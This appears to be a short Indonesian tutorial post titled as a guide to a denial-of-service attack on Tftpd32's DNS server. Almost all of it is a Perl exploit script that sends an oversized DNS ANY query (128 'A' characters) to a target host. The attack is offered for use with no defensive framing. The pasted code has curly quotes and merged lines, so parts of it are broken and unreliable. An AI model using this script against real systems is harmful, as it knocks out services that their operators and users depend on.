Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server

#!/usr/bin/perluse IO::Socket;
use Socket;
use Math::BigInt;
$|=1;
$host=shift;
$port=shift || ’53′;
die “usage: $0 \$host [\$port]\n” if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
$crash=’A'x128;
$transaction_id_count=1;
sub dns_struct_pack($){
$domain=shift;                  #domain
$type=”\x00\xff”;              #dns_type = ANY
$transaction_id_count=1 if($transaction_id_count > 255);
$x=Math::BigInt->new($transaction_id_count);
$x=~s/0x//;
$transaction_id=sprintf(“\x00″.chr($x));
$flag=”\x01\x00″;
$question=”\x00\x01″;
$answer_rrs=”\x00\x00″;
$authority_rrs=”\x00\x00″;
$additional_rrs=”\x00\x00″;
if($domain ne ’0′){
undef($domain_length);
$domain_length=length($domain);
$y=Math::BigInt->new($domain_length);
$y=~s/0x//;
$domain_length=chr($y);
}
$class=”\x00\x01″;                    #IN
$transaction_id_count++;
if($domain eq ’0′){
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”\x00″.”$type”.”$class”;
}else{
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”$domain_length”.”$domain”.
“\x00″.”$type”.”$class”;
}
return $packet_struct;
}
print “Launch attack … “;
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
close(SOCK1);
print “Finish!\n”;exit(0);